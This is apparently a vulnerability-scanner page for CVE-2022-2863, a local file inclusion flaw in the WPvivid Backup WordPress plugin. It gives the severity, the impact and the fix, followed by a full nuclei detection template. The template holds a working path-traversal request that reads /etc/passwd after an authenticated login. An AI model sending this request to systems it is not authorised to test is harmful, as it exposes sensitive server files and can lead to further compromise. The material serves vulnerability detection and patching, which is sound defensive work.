WordPress WPvivid Backup <0.9.76 - Local File Inclusion

mediumseverity

4.9CVSS score

26.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.

Fix

Upgrade to version 0.9.76 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=WPvivid ; GET /wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-2863 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-2863

info:
  name: WordPress WPvivid Backup <0.9.76 - Local File Inclusion
  author: tehtbl
  severity: medium
  description: WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: Upgrade to version 0.9.76 or later.
  reference:
    - https://seclists.org/fulldisclosure/2022/Oct/0
    - https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5
    - http://packetstormsecurity.com/files/168616/WordPress-WPvivid-Backup-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2863
    - https://github.com/rodnt/rodnt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2022-2863
    cwe-id: CWE-22
    epss-score: 0.26606
    epss-percentile: 0.98033
    cpe: cpe:2.3:a:wpvivid:migration\,_backup\,_staging:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: wpvivid
    product: migration\,_backup\,_staging
    framework: wordpress
  tags: cve,cve2022,wp,wpscan,seclists,packetstorm,authenticated,lfi,wordpress,wp-plugin,wpvivid,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=WPvivid HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/wp-admin/admin.php?page=WPvivid

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"_ajax_nonce":"([0-9a-z]+)"'
        internal: true
        part: body

References

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